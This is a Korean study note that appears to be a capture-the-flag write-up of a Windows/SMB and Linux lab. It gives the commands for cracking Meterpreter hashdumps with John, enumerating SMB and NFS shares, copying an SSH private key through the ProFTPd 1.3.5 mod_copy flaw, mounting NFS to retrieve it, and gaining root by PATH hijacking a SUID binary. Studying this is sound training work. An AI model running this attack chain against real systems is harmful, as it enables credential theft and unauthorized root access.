정보보안 스터디 - 25주차 4일 - 윈도우 OS, SMB 취약점 task
윈도우 OS 환경일 경우
기존의 reverse_shell은 background로 빠져나오고
그 외에 shell_to_meterpreter로 meterpreter를 생성합니다.
그다음 meterpreter에서 자체적으로 hashdump를 제공하기 때문에 사용자의 shadow같은 hash패스워드를 가져올 수 있습니다.
보통 리눅스는 hash format이 $5,6 등으로 잘 알려져있는데
윈도우는 LM 또는 NT입니다.
따라서
john --format=NT /usr/share/john/password.lst(기본) ./hashdump.txt
등으로 간단한 비밀번호 평문을 얻습니다.
Samba는 파일이나 프린트를 네트워킹으로 공유할 때
139(옛날), 445 포트를 사용합니다.
nmap 을 통해서 host기준으로 어떤 파일들이 공유되어있는지 enumerating이 가능합니다.
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse MACHINE_IP
프린터, 파일 등이 공유되고 있는 것을 볼 수 있습니다.
smbclient //10.10.133.158/anonymous
smbclient가 기본적으로 깔려있고, anonymous계정으로 들어갈 수 있게 되어있습니다.
ftp 처럼 anon에게 공유되는 파일이 있고
log.txt를 얻을 수 있습니다.
smbget -R smb://10.10.133.158/anonymous
이 때 디렉토리 안에 있는 파일들 다 받아오기 위해서 recursivly 재귀적 다운로드를 합니다.
log.txt를 열어보니 SSH 키 생성할 때 (어디에 저장됐는지) 로그와
ProFTP 서버의 배너 그래빙 정보를 얻었습니다.
111 포트는 rpcbind가 구동되고있고
원격으로 네트워크 파일 시스템에 연결하는 서비스입니다.
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount MACHINE_IP
확인해보면 /var볼륨이 연결되어있고 안의 파일들까지 보입니다.
proFTPd 1.3.5 버전은 mod_copy 이 취약하기 때문에 해당 모듈을 사용합니다.
nc로도 FTP연결이 가능합니다.
배너를 보고
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
SITE CPFR , SITE CPTO를 사용하면 루트에 있든 어디있든 파일을 복사해서 원하는 목적지에 복사시키는 것이 가능합니다.
따라서 rsa private 키를 /var에 복사해서 해당 키로 접속을 시도해봐야합니다.
anonymous로 획득하는 건 어짜피 경로 제한되어있으니 안되고
111 rpcbind 파일 시스템 /var 확인말고
그냥 mount 볼륨을 연결해버리면 됩니다.
mkdir /mnt/kenobiNFS
mount 10.10.133.158:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
읽기 권한밖에 없기 때문에 수정은 안되지만 cp 로 가져와서 사용할 수 있습니다.
ssh [ip] -i [keypath] -l kenobi
root 로는 접속이 안되고(패스워드 써야됨) 계정으로 접속이 가능합니다.
이 때 키 파일 권한은 다른 유저도 읽을 수 있는 public이면 안됩니다. 그냥 700 으로 고칩니다.
그 다음 권한 상승을 노립니다.
menu라는 바이너리가 SUID 로 수상합니다.
menu 바이너리는
상태워, 커널버전, ifconfig 을 보여줍니다.
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
근데 이 때 PATH curl 을 찾도록 export해주면 curl파일을 즉 쉘을 실행하게 됩니다.
따라서 권한상승이 가능하죠.
++)참고로
who, w > ps -ft > kill tty
실행중인 tmux 패널이 렉먹었다면 tty를 죽일 수 있습니다.
kali에 기본탑재된 whois는 43번 포트로 DNS query를 WHOIS 서버에 묻습니다.
dig [ip] @1.1.1.1 dns cloudflare
DNS 서버 바꿔서 query할 수 있습니다.
++)참고로
openVPN은 wireshark로 패킷을 캡쳐해봤을 때 내용을 확인하기 어렵습니다.
10.4.17.200 - 10.0.2.15 (외부)-------(openVPN:3.104.196.208)------ 10.10.52.186 |
openvpn(protocol 1194번)
ping을 보내든 뭘하든 VPN을 거치기 때문에 내용은 안보입니다.